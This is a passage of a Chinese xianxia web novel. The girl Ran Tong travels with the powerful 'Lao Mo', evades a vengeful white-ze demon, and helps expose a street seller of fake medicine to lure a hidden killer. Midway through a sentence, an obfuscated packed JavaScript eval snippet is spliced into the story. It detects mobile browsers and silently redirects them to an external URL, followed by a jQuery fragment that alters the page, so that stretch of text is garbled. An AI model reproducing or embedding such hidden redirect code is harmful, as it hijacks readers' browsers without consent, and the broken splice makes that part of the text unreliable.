走时还记得知会她,说明他没有过多责怪。 这点不止让冉彤消除紧张,还平添了一份欣喜,有闲心鉴赏老魔的书法了。 四个字笔力苍劲,一笔一划似龙蛇舞动,尽显雄浑大气的风骨。 冉鸣玉是远近闻名的书画家,许多大修士都曾慕名前来求取墨宝。 冉彤没继承父亲的特长,从小观摩,审美眼光还是精准的,觉得老魔的书法自然洒脱,别具一格,比父亲的字更有魅力。 她突然灵光一现想出个生财之道,施法将字条扩大二十倍,仔细卷起来包好。 先去街上找了家修真资材铺,用剩余的火柿子换取十五两银。 再用这十五两银采购上等纸张、绫绢、浆糊、牛骨、挂绳和铜环,将老魔的字精心装裱起来做成一幅卷轴,拿到城里最大的书画交易市场售卖。 这字幅照亮了每个掌柜的眼睛,争相竞价购买,你来我往,成交价直抵三千两,让冉彤赚了个盆满钵满。 银子到手,她购置了储物袋和一些必须用品,准备再去买两套新衣裳,暗喜能碰到如此松快的赚钱门当,日后多哄老魔写写字,真金白银还不唾手可得。 她来到一家面向有钱修士的服饰店选购质量上乘的成衣,试穿过程中突然感受到一股凌厉的气息。 那是一个头戴红色绣花帽,白衫红裙的美丽少女。 她十七八岁年纪,身上隐隐透着妖气。衣饰富丽,身边还站着几个臻境修为的男保镖,像是店里的贵客。 冉彤察觉后暗暗观察,这少女一直恶狠狠盯着她,杀气像鞭子在她身上唰唰唰抽来抽去。 通缉令被老蚊子精篡改了,这里应该没人认得她。 冉彤不明白对方敌意的来源,看情形还是走为上,忙退还衣服匆匆离去。 红帽少女带着保镖们追上来,不止店里那些,又多了好些跟班和轿夫,修为都在净境以上,越逼越近,稍后将她堵在一条穷巷里。 冉彤不能露怯,做好应战准备,镇定质问少女:“这位姑娘,我几时得罪你了?拦我作甚?” 红帽少女精致的五官因仇恨扭曲,愤恨道:“是你杀了我哥哥。” 当初在枫林州逃避追杀时,冉彤是害死过不少人,先试探:“你认得我是谁吗?” 少女詈斥:“我管你是谁!杀了我哥哥就得偿命!” 冉彤不等她下令,麻溜地穿墙逃跑。 修士们追着她穿墙遁地,碍于不便在城内施展破坏力太强的法术,鸡飞狗跳地跑出四五里仍没抓住她。 冉彤想动静闹大了倒霉的还是自己,逃到一个面约三四亩的小水塘边时,见岸上环绕着二三十个形状各异的大鹅卵石,是附近居民洗衣洗菜时的坐凳。 她使用换形术变成一颗淡红色的卵石,收敛神识滚入其中,有映真镜掩护定不会暴露。 修士们先后追来,断定她的气息在此消散,停下四处搜寻。 不久那红帽少女也赶到了,听说手下跟丢了人,大骂他们无能,威胁道:“你们今天必须把那丫头的脑袋献上来,否则我定叫子涛狠狠罚你们!” 冉彤刚和修士们斗法,看出这些人功法各异,并非同门,想必都是大人物雇佣的散修,摊上蛮横的雇主也是倒霉。 一名修士想劝主人冷静,小心提醒:“那丫头只有胜境修为,按理说没能力谋害令兄。” “你敢质疑本小姐?!” 红帽少女暴起踹他一脚,没踢疼对方,反甩飞脚上的小红靴,摇落头上的绣花帽,同时为冉彤解除了迷惑。 失去靴帽遮挡,少女的玉足竟是一只白色的覆有鳞片的羊蹄,额头两边各竖着三寸长的黄褐色鹿角。 她是头刚刚进入化形期的妖兽,究其特征判断很像白泽。 是了,是了,我吃过一头白泽兽的丹片,估计那泽兽就是这女妖怪的哥哥。她在我身上发现兄长的气息就认定我是凶手。 对白泽这种怀璧其罪的妖兽,冉彤一向持同情态度,当初靠泽兽内丹活命,知道此物的妙用,但若非万不得已,她不会因此去猎杀泽兽。 秦不羁真有毒,只教了我一招半式便害我背锅,看这白泽妹妹不是个能讲道理的,我这会儿露面必死。 少女久等未果,在手下连番劝说下答应回家,留下五人继续搜索。 “找不到那丫头就别回来见我!” 五个修士接下苦差,等少女走后一合计,先在原地布下监视法阵,分头埋伏在周围,待目标出现便立即收网。 冉彤心里直叫苦,只得跟他们比耐性,巴望老魔能来搭救。 傍晚,一些居民来池塘边讨米洗菜,一个大胖厨娘好巧不巧挑她身上坐下,杀鱼宰鸭,忙得不亦乐乎,还不时撅起屁股朝她头上放屁。想是之前吃了太多萝卜、地瓜之类的食物,那五脏循环之气熏得她几度欲呕。 等厨娘离去,一条野狗跑来冲她撒尿,后来更有一群麻雀前来啄食人们丢弃的烂菜叶,大点大点的鸟粪溅了她一身。 一忍再忍直到起更时分,玉轮爬上中天,清辉委地,将地面上的景物照的透亮。 树木、房屋、土石、池水都镀了一层亮晶晶的银光,可惜进入梦乡的人们看不到这美轮美奂的景色。 冉彤正想打个盹混时间,一个农夫装扮的少年扛着鱼竿,提着鱼篓,哼哼唱唱来到水池边,在她身旁的卵石上落座。 大半夜的谁会来这儿垂钓?再说这小池塘里只有为数不多的泥鳅青蛙,哪有像样的鱼可钓。 她不能开放神识,仅凭感官打量,看不出这其貌不扬的少年什么来路。 只见他挥杆抛线,钓钩正好落在修士们布下的阵眼里,涟漪一起,阵法崩溃,那五人恼怒地跳出来围住他。 “小子,你来此作甚?” 见了这群凶神恶煞的家伙,少年仍笑嘻嘻说:“我来这儿赏月,你们呢?” 修士们发现他身上毫无灵力,是个最普通不过的凡人,以为遇上了愣头青,一人粗声警告:“臭小子,你违反宵禁深夜游荡,怕不是活腻歪了?不想死趁早滚!” 少年嗔怪:“你们不是一样吗?也活腻歪了?” 另一个修士觉得他能破阵恐非偶然,拉住想动粗的同伴,和气问:“小兄弟,你赏月怎么还钓鱼呢?这池塘里没有鱼给你钓啊。” 少年笑道:“诗云‘寒江觅得钓鱼船,月影江心月在天’,赏月钓鱼自古就是相辅相成的乐事。况且我今晚钓的不是鱼,是龙。” 修士们骂他言语疯癫,冉彤也怀疑这是个傻大胆,半夜三更的,要是吃了苦头可没人帮忙。 “你小子在做梦吧。” “八成是个傻子,撵走得了。” “小小年纪瞎吹牛,你倒是钓一条龙上来给我们瞧瞧啊。” 少年不慌不忙说:“使得。” 轻轻拉竿收线,一条泥鳅咬着鱼钩出水,落在岸边扭动挣扎。 修士们正哈哈嘲讽,怪事陡现。 那泥鳅晃眼长大百倍,变成数丈长吊桶粗的蟒蛇,继而浑身鳞片叠起,腹部伸出四只鹰爪,烙铁形的脑袋像骆驼演化,额头隆起,口似鳄嘴,腮边长须与鲶鱼须相仿,头顶长出一对硕大的鹿角…… 片时,在众人惊诧注视下化作一条黄鳞蛟龙,绕着人群低空盘旋,发出雷鸣般的啸声。 修士们以为是幻术,忙念咒清心。 那蛟龙没有消失,飞到少年跟前摇头摆尾,似在谢他点化之恩。 少年伸手摸了摸它的脑门心,叮嘱:“你前世积德,今生故有此福缘,往后好自为之,去吧。” 蛟龙转身腾空,瞬间飞远了。 修士们确定这是一幕实景,见少年能化鱼为龙,分明是世外高人,慌忙跪地磕头赔罪,恳求拜入门墙。 冉彤也好奇这是何方神圣,困境顿时变得有趣起来。 少年说:“我与尔等也算有缘,再告诉你们一个秘密吧。这池塘里藏着一座水晶洞天,内存珍宝无数,这便指引尔等前去探寻一番。” 他右手食指指向池塘中央,水面哗啦啦升起一个直径超三丈的大水球。 水球更比天上的明月亮堂,球内宫殿林立,瑞彩千条,真有一座仙家福地。 少年将鱼线投入水球,鱼线横空,赫然架起一座白玉拱桥,桥面宽敞,能容两辆四轮马车并排驰骋。 “你们想要的东西那洞天里应有尽有,能不能拿到得看各人的造化。” 修士们欢蹦乱跳踏上玉桥,穿过水帘,球内的天地与外间一般无二,那伫立在紫雾红云里的宫殿以白玉为基,宝石筑墙,黄金做瓦,烨烨生辉,灿烂夺目。 门窗上雕花闪烁,灵韵流转,梁柱上金龙盘绕,彩凤栖息。 殿阁前盛开千年不谢的奇花,香炉内存放长生不老的金丹,处处仙乐袅袅,异香氤氲,正是天宫珍物般般有,世上如它件件稀。 果如少年所说,修士们走进 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老魔说:“杀孽岂是随便造的,直接动武又会留后患。老夫观这五人修的都是正道功法,也不似穷凶恶徒,趁便点拨他们一二。这壶天之术只能维持半个时辰,但愿他们清醒后能有所感悟。” 冉彤了然,老魔被离恨天通缉,平时行动尽量低调,免得惹麻烦,于是慧心止戈,以善缘解纷争。 大好的试探机会她可不能放过,假率真地赞扬道:“晚辈早知您是正派人,离恨天污蔑您是魔修,太不要脸了。” 老魔缺心眼,不代表没脑子,明白她在套话,严肃道:“所谓正魔不看立场,只观言行,不打破门户之见就会受人利用。” 冉彤又猜他是魔道里的善类,赶紧点头附和:“前辈的话句句珠玑,正道里遍地伪君子,反观魔道尚有一些慷慨之士,比如那秦不羁就不错,虽说晚辈今天受其连累遭了殃,但仍没有讨厌他。” 她见风使舵,标榜大度,显而易见的幼稚心机不会惹人反感,还刚好能逗笑老魔。 他悄悄替她清理掉衣服上遗漏的脏污,带她来到城东一条小街。 “你被人盯上了,那客栈不能再住,今晚先在这儿过夜吧。” 他们走到一座富户的宅院前,一个富泰的黑衣老财主正领着众多家人们在门前恭候,见了老魔堆笑相迎,恭敬地将他们请进府中。 冉彤感觉这家人身上妖气浓郁,悄悄用映真镜探照。 那老财主是只黑狐精,妻儿老小也全是狐精狸怪化形。 她想老魔一定认识他们,住进华丽舒适的厢房后好奇询问。 “前辈,化形的狐妖怎会住在城里呀?” “这有什么好奇怪的,人去深山修行,妖也会到城市里历练。这胡员外混迹人族数百年,在松阳定居很久了。” 老魔与胡员外并非故旧,之前他离开客栈,去城外挂起招妖幡,叫来常住当地的精怪,向他们打听人口失踪案。 这些妖精久知此事,有的还进行过调查,可是凶手太狡猾,没留下一丝痕迹。 “小的们修为平平,不能为仙师效劳。您不妨问问胡员外,他是我们这里法力最强的妖修,兴许能提供线索。” 老魔强化招妖幡的法力后那姓胡的老黑狐屁颠屁颠跑来,不住鞠躬告饶:“小老儿的儿媳妇回娘家了,扔下孙子无人照料。小老儿方才在家看孩子,是以未能及时赶来拜见,还望仙师海涵。” 大妖们很清高,不屑搭理一般人,只对真正的强者毕恭毕敬。 老魔不计较他扯谎遮过,好言询问案情。 胡员外说:“离恨天的人曾为这事找过我,我为了洗清自家嫌疑,答应协助调查。那些失踪者确系虫妖所杀,手法很像蚊子精。唉,不瞒您说,小老儿和那封七郎私交颇深,历来仰慕他的父母兄姐,也不相信他会干这种事。可离恨天认定他是凶手,小老儿人微言轻,实在插不上手啊。” 他知道的不比其他妖怪多多少,看出老魔来历不凡便积极攀援,热情邀请他去家中住宿。 老魔说:“本座还有些事要办,回头若有需要再同你联系。” 他遣散众妖,设下请神祭坛,念咒召唤松阳的土地。 地仙不受凡界法术干扰,量那杀人的恶妖瞒不过他。 等了一会儿,祭坛前出现一个胡子拖地,身着大红法衣的矮老头,却是土地神留下的残像。 “仙尊在上,小神寿元耗尽,终未等到天庭召唤,现已魂归太虚,还请您替小神代为奏报天庭,求上神们依约拯拔我等。” 言罢形消影散。 老魔心情沉重,他被囚的这一千年里更多地仙寿尽而亡。 失去土地、山神、江海湖泽诸神治理的区域势必乱像频发,他定要赶在百年内完成使命,拯救苍生保卫人界。 39.钓鱼 冉彤听说老魔没查到凶案线索,更怀疑有人包庇。 “那妖怪连续十几年在这儿杀人吸血,不可能不露痕迹。晚辈认为此事跟离恨天脱不了干系,说不定妖怪就是他们养的。” 老魔不排除这种可能,决定明天引蛇出洞。 “老夫已有主张,太晚了,你快去休息吧。” 冉彤还记挂着在客栈变脸惹火他的事,想及时认个错哄好了,免得他日后想起来心里不痛快,妨碍双方和睦。 “前辈,晚辈以后不会乱用换形术了,求您别生晚辈的气。” 她晃动肩膀,一双手指在胸前扭捏地对来对去,神态声调腼腆无辜。 老魔看她一眼,静静不语,其实也在后悔当时的失态。 冉彤不知道他的沉默代表尴尬,急忙辩解:“您是知道的,晚辈从小被人嘲笑貌丑,丢我爹娘的脸,所以才想把自己变好看一点嘛。” 老魔轻叹:“那些人不过眼红你家庭幸福,或者因你父母太疼爱你心生嫉妒,是以恶意贬低。你是修神宵清净道的,神宵道祖有云:‘德有所长,而形有所忘’,过分在意皮相美丑说明修行还不到家。” 冉彤觉得他后半句话有点风凉,不禁娇嗔:“横竖是前辈长得好看,没被人挖苦过相貌才这么说。” 她不想老装小可怜,听到刺耳的话就得反驳,好让对方明白她的好恶,大不了挨几句骂。 老魔的回答令人意外。 “你哪里不好看了?能生成这样已算上等长相了,别人求还求不来呢。” 冉彤吃惊,这老鬼活了两千多岁,见过的美女多如牛毛,居然将她的长相归为上等,是善意谎言,还是他眼光独特? “那个,前辈真觉得晚辈好看?” “嗯。” 老魔点点头,看来很正经。 他犯不着说违心话讨好她,冉彤姑且相信,客观地为其找原因。 “晚辈就知道我这种圆乎乎的长相受你们老年人待见。” 老魔慈蔼微笑:“没有谁能讨所有人喜欢,你往后只跟欣赏你的人交好,不用理会那些嫌弃轻视你的人。” “嗯!晚辈记住了!” 冉彤以少女特有的可爱方式点头,不遗余力地跟他套近乎。 “前辈好厉害,刚才晚辈真没认出那个钓鱼少年是您假扮的,您怎么能演得那么像呢?” 恭维半数发自真心,老魔装起少年人时俏皮灵动,与平日截然不同。 老魔说:“你打量老夫是老年人,扮什么都老气横秋?” 这话有点玩笑的意思了,冉彤趁热打铁,使劲装可爱:“因为前辈一直很沉稳霸气嘛,谁能想到您还有那样的一面。” 老魔笑道:“别以为只有你会演戏,老夫像你这么大的时候梦想可是……” 气氛太放松,让他险些交浅言深,还好及时打住了。 眼看距离拉近,冉彤不许他回撤,忙厚起脸皮追问:“您那时的梦想是什么?别不好意思,说来听听嘛。” 她拿出向亲人撒娇的伎俩,双手抓住老魔的衣袖轻轻摇晃,央求他解密。 在老魔看来她就是个好奇心旺盛的毛丫头,被她缠磨也不觉异样,故作严肃地教训:“不许放肆。” 表情声音都毫无威慑力。 冉彤很会拿捏分寸,适时松手,装出失望委屈的样子,成功引得老魔哄慰。 “别想这些没用的事了,明天想跟老夫去查案子吗?” 冉彤惊喜,点头犹如鸡啄米。 “要的要的,晚辈想跟着您见世面,您能带上晚辈吗?” 等老魔颔首,她马上端正地鞠躬道谢。 老魔看了她美滋滋的笑脸心情舒畅,说:“这胡员外很好客,你有起居方面的需求尽可以找他,若有人怠慢或对你无礼,立 刻来告诉老夫。” 他的关怀随处可见又毫不刻意,仿佛一把结实的旧藤椅,每当疲累时都能坐一坐,靠一靠。 冉彤很喜欢这种舒适的安全感,一开始只想借老魔的屋檐避雨,现在真感觉亲切。 他对待认可的人温暖如春,能包容对方任何缺陷,潜移默化彰显强大,让自负的人承认自己的浅薄,让自卑的人发现自身的优点,甘愿并乐意做他的学生和小辈。 第二天她起了个大早,老魔却说等到巳时再出门。 胡员外亲自带人送来珍贵的灵果甘露给客人做早点。 冉彤见这老狐狸偷偷瞄了她好几眼,似乎有话要说,疑心他是不是认出自己是通缉犯了。 老魔也看见了,直接发问:“员外可是认得我这小辈?” 胡员外忙摆手,怕引发误会,如实说:“我感觉这位姑娘身上有我族血统,不知家里哪位长辈是狐族。” 修真世家怎会混入妖类,冉彤叛出冉家也不能忍受这般羞辱,登时来气:“我是地地道道的人族,岂会与你同类?” 胡员外生怕得罪老魔,赶紧顺着她说:“姑娘息怒,想是我老眼昏花看错了。对不住,对不住。” 老魔倒觉得他没看错,天魔体最常现于人妖两族的混血儿中,冉彤祖上肯定曾与狐族通婚,这本是小事,奈何为世俗偏见不容。 胡员外走后冉彤气愤数落:“这老狐狸真可笑,攀交情也不是这个攀法呀,居然说我有狐族血统,连我父母一块儿污蔑,真可恶。” 老魔照顾她的感受,劝说:“他已道歉,你大度些别太计较了。” 冉彤顺势卖乖:“是,晚辈看在您的份上,饶他一回。” 老魔含笑赞许,说:“前些时候没想起来,趁这会儿有空,把那件玄鳌灵甲拿出来让老夫替你修一修。” 冉彤早想求他来着,欢喜地取出灵甲。 老魔将灵甲修改到适合她的尺寸,施法修复加固,重新炼成一件金色的铠甲。 冉彤试穿,不大不小正合身,防御力也比残损时高出几倍。 “前辈炼器的功力也是顶尖的,比这灵甲的炼制者还强。” 老魔笑她乱拍马屁:“这灵甲最初就是老夫炼制的。” 冉彤只窘迫了一瞬,注意力便跑向别处。 这灵甲原本穿在那个死掉的小巨人身上,看样子是老魔送给他的。 她迟疑发问:“前辈,古城地宫里那具尸首是谁啊?” “……那是老夫一个徒弟。” 老魔回答得不太干脆,不像伤感,倒似不愿提及的样子。 冉彤聪明地避开忌讳,改说中听的话:“有了这件灵甲晚辈底气更足了,会更勇敢地为您效力。” 老魔和悦道:“你有这份心就够了,这灵甲是给你保命的,你若仗着它乱冒险,老夫何必费这功夫。” 他们该出发了,冉彤说:“待晚辈变个模样,谨防又遇上那白泽女妖。” 她有意哄老魔开心,仿照昨天那胖厨娘的长相变成一个十五六岁的胖女孩,膀粗腰圆,面若银盆,像个面团捏就的年画娃娃。 “前辈看这样好吗?” 她蹦跳着来回走了几步,向老魔表演憨态。 老魔忍俊不禁:“你倒是会变,老夫瞧着挺好,就这样吧。” 他对外幻化成皓首老翁,领着这大胖丫头走街串巷来到城中最热闹的凡人集市。 喧嚣的浪潮扑面而来,人如蚂群,车似流水,宽阔的街道上各式摊位星罗棋布,两旁店铺林立,屋宇雄壮。 南来北往的货物在此集散,品种齐全,门类细致,有专供富豪使用的奢侈品,也有满足平民需求的廉价货。 集市中心区域是一座小小的神庙,庙门的广场上摊贩麇集,还有众多奏乐耍把式的人在此卖艺,热闹景象描摹不尽。 冉彤看过五花八门的商家,闻过百种千类的气味,耳朵里塞满嘈杂声浪,总算知道天下之大,繁华都会不仅存在于枫林州。 她跟着老魔来到神庙东侧一座茶楼,找了张临窗的桌子坐下,稍微转头便可尽览广场上的情景。 除流动的人群,还有十几个由看客围绕卖艺者组成的大小圈子,挨挨挤挤,密密麻麻。 “前辈,我们来这儿做什么呀?” “你看,那边有个修士在卖药。” 老魔下巴轻轻扬了扬,冉彤顺着他的视线看去,在七八十丈外最大的人圈子里找到目标。 那是个外表二十来岁的净境壮汉,赤膊短裤,一身油亮亮的腱子肉仿若黄铜铸就,孔武有力。 冉彤观看时,他正举着一包药粉高声宣传。 “正宗仙家灵药,走过路过别错过,跌打金创不算事,抹了咱这仙药,断手断腿立刻好。” 他喊完这句口号,右手操起小摊上的阔斧,将左臂放在一截大树桩上,咚地一声一砍为二,那架势比劈柴还利落,眼都不带眨一下。 血流满地,惊呼声此起彼伏,一些有经验的看客安慰旁人:“没事,他有药,你们看着吧,说话就能治好。” 那壮汉用牙齿咬开药包,将药粉洒在伤口上,捡起断手对准两边伤口,用力一杵。伤口立时愈合,伤痕也不见了。 人们拍手叫好,也有不少有见识的取笑:“仙师,你这把戏在小地方用用还行,我们松阳住了多少修真者,谁还没见过几样仙家幻术啊。您可别欺负我们肉眼凡胎,就拿法术糊弄人。” 壮汉耿直道:“我还真没用幻术,你们几个身上若有内外伤或者疾病顽症,大可过来试试,不灵不要钱。” 有好事者自愿试药,壮汉问明症状,取出药粉给他们或外敷或内服,果真药到病除。 展示完令人信服的疗效,他接着使出最诚信的推销方式。 “有伤有病的都来看一看,瞧一瞧,先试后买,童叟无欺!” 围观者见先试药的人夸药效灵验,也纷纷试用,都觉此药货真价实,纵然小小一包要价二十两银,仍挤破头地抢购。 壮汉一手交钱一手交货,忙得热火朝天,期间被人询问来历,他豪爽道:“我因为爱给凡人治病,被师父驱逐了。如今浪迹 天涯,四海为家,专门救助有缘人,今日遇上算你们走运。” 人们听了都把他当活神仙颂扬,买药的队伍越排越长。 冉彤问老魔:“他卖的是回春丹还是苏生香啊?” 这两种是修真界比较常见的基础伤药,凡人服用疗效奇佳。 老魔说:“这两种药成本高昂,他怎么舍得呢?那药粉是寻常的安乐散,只能暂时消除伤病,过几天便失效了。” 冉彤醒悟这是个江湖骗子,像这号的她在烈阳见过好几个。 修士本不该管凡人的闲事,无偿救助都算出格,莫消说贩卖药石。 一些不良散修却偏要以此敛财,专靠向凡人卖假药赚黑心钱。 城镇里的修士管理机构会酌情打击该现象,所以这类人绝不会在同一个地方逗留,总是打一枪换一炮,顶多只呆一两天。 “待晚辈去拆穿这骗子。” “不忙,这人还有帮手,我们正好借他们引出失踪案的幕后黑手。” 冉彤见老魔终于点到正题,忙振奋地请教计划。 “那凶手的猎杀目标主要是过路旅客,老夫调查过,失踪修士多为散修。你先去戏耍一下这骗子,待老夫弄点大动静,定会引起凶手一伙注意,叫他们主动现身。” 这以身做饵的主意很不赖。 冉彤最喜捉弄坏人,下楼挤开人群来到假药摊子前,朝人群叫嚷:“这人的药太贵,我的药跟他的效果差不多,价钱还不到他的十分之一,一包只卖五钱银子!” 她取出老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772815|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魔给的疗伤治病的真药粉,分给几个排队者,那些人试过有效,都果断付钱。 谁不爱物美价廉的东西,买药队伍一时间调头转到冉彤跟前,气得那壮汉咬牙切齿吼她:“死丫头,敢抢我生意!” 冉彤泼辣还嘴:“你眼睛瞎了?这些乡亲自愿买我的药,你问问他们,我何曾抢了?” 骗凡人的钱不会被即时追责,当街斗殴则不然。 壮汉因此不敢动武,和冉彤吵了几句也非对手,气急败坏道:“我的药是卖得贵,但效用绝对比你强得多!” 冉彤就等他这句,讥笑引导:“哦?你这药还有什么用处,说来听听。” 壮汉想了想,冲口夸耀:“我的药不止能接断手断脚,断了的头也能接上!” 冉彤激将:“少吹牛了,有本事接一个来瞧瞧。” 壮汉一心夺回客源,拉住一名看客嘱咐:“劳驾,等我砍下自己的头,你就用这药粉帮我接上。” 说完往手心里吐了口唾沫朝咽喉上一抹,提起板斧,反手砍断脖颈。 举众惊骇,多数人唬得捂住眼睛,胆子大的瞪眼查看,那壮汉的身子还直挺挺站着,头颅落在脚旁,眼睛不停眨巴,两边伤口都没流血。 这身首分离的把戏并不高明,只合用来蒙凡人。 冉彤正寻思如何整治他,空中闪现一只雪白的秃鹫,俯冲下来抓住壮汉的脑袋振翅高飞,带着壮汉的惊叫声飞入云层。 现场轰乱,人们仰望天空,不知所措。 一个灰衣老道凭空出现在壮汉身旁,怒指冉彤:“丫头,还我徒弟头来!” 冉彤料想这就是老魔说的同伙,反斥:“你也是个睁眼瞎,在场都瞧见人头是被那只鸟抓走的,怎的管我要?” 她见这老道修为只在臻境初期,仗着法宝护身,想先跟他过过招,却听老魔传音:“你徒弟的头在老夫这儿,过来拿吧。” 老道扭头望向茶楼,化作青光飞到老魔跟前。 老魔将修为压制到化境初期,老道仍不敢贸然出手,忍怒行礼:“这位前辈,我师徒路经此地,不过想混口饭吃,并未招惹您,您这是何意?” 老魔冷嗤:“只许你们坑骗凡人,就不许老夫捉弄你们?老夫已把你徒弟的头扔下楼了,自个儿去捡吧。” 老道转身下望,广场街道上人头攒动,无论男女老幼,都顶着那壮汉的脑袋,一模一样,难辨真假。 他见对方幻术了得,有些怯阵,可那飞头术顶多持续一刻钟,超过时限施术者必死。 他舍不得相依为命的徒弟,硬着头皮向老魔发难,一声咆哮,整座酒楼极其相邻建筑的屋顶全被掀飞。 茶客和店员们抱头鼠窜,掌柜躲在楼梯口斗胆劝阻:“城内禁止斗法,还请仙师们自重!” 老道哪还听得进去,厉声要挟老魔:“交还人头,否则玉石俱焚!” 老魔使用的桌椅茶具纹丝不动,连杯子里的茶水也平静光滑,丝毫未受对方法力影响。 老道口说不行,想来真的,骤见老魔的身形长大了数十倍,宛如托天的巨人。 他起初认作法天象地,又发现周围事物随着老魔一起变大,这才意识到是自己的身体在急速缩小。 顷刻间陷进沟壑般深邃的地板纹理里,四周灰尘大如磨盘,跳蚤蚂蚁更像洪荒巨兽张牙舞爪,而他不止变小,还法力尽失,逃跑都很艰难。 散修都能屈能伸识实务,老道微小的眼珠已看不清老魔的全貌,向着那片天空般广阔的蓝色呼喊求饶:“晚辈认输了,求前辈手下留情!” 他落入跳蚤的巨口,惨叫一声,眼前重现光明。 身体和残破的陈设、建筑均已恢复原状,老魔悠闲地喝着茶,似乎无事发生。 空无一人的环境提醒老道刚才经历的是实打实的失败,他束手束脚,苦恼该如何替徒弟求情,窗外忽然传来壮汉的喊声。 “师父!师父!” 老道见徒弟脑袋归位,忙跪谢老魔。 老魔放下茶杯,挈然吩咐:“速速远离松阳城,之前不要同任何人接触。” 老道不知这是在救他师徒二人的命,唯唯应声,赶去与壮汉收拾摊位,架飞舟逃走了。 冉彤回到老魔身边,嘻嘻哈哈说:“前辈瞧见那两个骗子跑路的熊样了吗?晚辈估计他们再也不敢回松阳了。” “但愿如此。” 老魔结算茶钱,额外给了掌柜一些钱赔偿生意损失。 冉彤请示接下来去哪儿。 “哪儿都行,你带路吧。” 冉彤知道下面是等鱼上钩环节,领着老魔随意溜达,逛到一座大型修士市场,进去参观那些庆隆州特产的稀奇资材。 “前辈,这树藤的花纹好奇怪啊,像金钱豹。” “它叫豹纹血藤,生长在寂灭林北面,是一种攻击性很强的树妖,其汁液可炼制破魔丹,也是魔修们制造各种法宝的基础原料。” “这红色的果子是什么?” “它学名纯阳圣果,俗称九焰丹。生在火山口附近,秉性至阳至热,是炼制火系法宝,辅修火系功法的好原料。也能驱除寒毒,为阴寒体质的人重塑筋脉。” “这透明的水晶是什么?” “这不是水晶,是空灵石。主产地在东大陆的青岚州,只在庆隆州南部的湄山顶上有少许矿藏。它能与修炼者的神识产生共鸣,辅助其强化精神力。也可炼制防御幻术的法宝和丹药。” ………… 老魔的渊博学识总令冉彤赞叹,他对世间的万事万物了若指掌,如数家珍,能最大程度满足她的求知欲,同时为她提供温馨感受。 父亲在世时也是这样不厌其烦地教导她学习知识,探索世界,她还以为再也没有第二个人能如此博学而耐心了。 40.画符 他们路过一家生意冷清的店铺,冉彤被店门口拉客的男老板叫住。 “这位小友,本店有件上好的法宝很适合你,来看看吧。” 这老板是个臻境修士,手里的托盘上摆着几件防御性法宝,推荐冉彤试戴一对冰河犀角炼制的护腕。 “戴上这护腕臂力能提升一百倍,最适合给你们低阶女修防身了。要价只八百两,很划算的。” 八百两不贵,要是冉彤独自来一准当场掏钱,怕老魔知道她倒卖书法的事,不敢露财。 老板以为老魔是冉彤的家长,转而游说他。 “道友,给您孙女买一对吧。” 冉彤听得一愣,想起只有她能看见老魔的真容,其他人眼里的他是个古稀老者,很容易错误界定他俩的关系。 她又羞又窘,忙对老魔说:“我不想要,我们快走吧。” 老魔客气地回绝老板:“我们先去别处逛逛。” 他带冉彤径直走到十几丈外的一家商铺,指着货架上一对护腕吩咐掌柜:“我们想看看那个。” 掌柜忙取了来,这护腕也是冰河犀角材质的,比上一家店的做工更精致。 老魔对冉彤说:“刚才那家的冰河犀死前早受过重伤,灵力都衰竭了,用不了多久就会坏。这对品质好,试试看合不合适。” 冉彤惊讶:“您真要买给我?不用了……” “那老板说得对,低阶修士最好侧重修炼体术,你正需要这么一件法宝,快试试吧。” 掌柜听了直夸老魔识货,顺道揭发上家店是奸商。 “他们一向以次充好坑骗不懂行的人,名声早坏透了。不像本店所有货品的质量都是最上乘的。” 冉彤戴上那护腕,老魔放出一个能承受两千斤重击的光盾做测试。 她没蓄力,以寻常力道出拳,光盾应声而碎。 “哇!真管用啊!” 她高兴得跳起来,有了这股蛮力,以后战斗时灵力耗尽也能靠体术拼一拼了。 可是见老魔爽快地付了三千两货款,她又很不好意思,彼此的情分还没到那份上,收这么昂贵的礼物怪别捏的。 老魔的想法比她简单,有可靠的法宝给她防身,他就能少操点心,买下护腕后施法强化,又将效力提升十倍,冉彤戴上以后可轻松搬动一座十万斤重的玄铁镇妖塔。 掌柜看得眼热,央求老魔:“道友能否帮我们炼制几件法宝?我把护腕的钱退给您,再多出些报酬。” 老魔婉拒,领冉彤去别处逛,又给她买了一个隔绝神识探查的隐形法阵和十张能承载高阶咒文的空白符纸。 冉彤怕他再破费,急于换地方,正巧那卖符纸的老板娘相中她头上的发簪,说:“姑娘,我出一千两收购这簪子,你看成吗?” 她有门路修复不夜珠,修好了转手就能获利百倍。 无奸不商,冉彤不怨她占便宜,可听了这话很不高兴,黑脸说:“不卖。” 老板娘加紧利诱:“这簪子都坏了,戴着多晦气,要不我加二百两,再送你一根新发簪。” 她取出一匣发簪任其挑选,冉彤烦躁起火,大声拒绝:“你真多事!我说不卖就不卖!” 她赌气冲出店门离开坊市,见老魔追上来才放慢脚步。 老魔知道那簪子意义特殊,没怪她失礼,还说:“修复不夜珠并不难,老夫也会。” 言下之意要帮她修复发簪。 冉彤莫名悲哀,天下最难治疗的是那种深藏不露的内伤,每当以为快痊愈了,又会因一点不经意的小刺激复发,类似她受的情殇。 “算了,有的东西就算修好也没用了。” 听她沮丧嘟囔,老魔也被诱发了心病。世上没有破镜重圆这回事,真正坚贞的感情不会破碎,弥合裂痕不过是揣着碎片自欺欺人。 他没得到过有效的安慰,故而不知道如何开导冉彤,默默地看着她,奉上无害的耐心。 负面情绪会给他人带来困扰,冉彤很快恢复常态,歪头指着发簪巧笑:“晚辈留着这簪子是图它实用,管它坏不坏呢,修真者返璞归真,不需要那些华而不实的东西。” 老魔很喜欢她的乐观开朗,这样的性格宛如干爽晴好的天气,相处多久都不累。 冉彤自如地换话题,对着手指装不安:“您今天为我花了那么多钱,晚辈一时半会儿可还不上。” 老魔失笑:“狡猾的丫头,放心,老夫不会讨债的,钱和人情都是。” “多谢前辈!晚辈不是白眼狼,以后有能力定会报答您。” 冉彤话没说完,老魔的眼珠便转向身后,笑容也消失了。 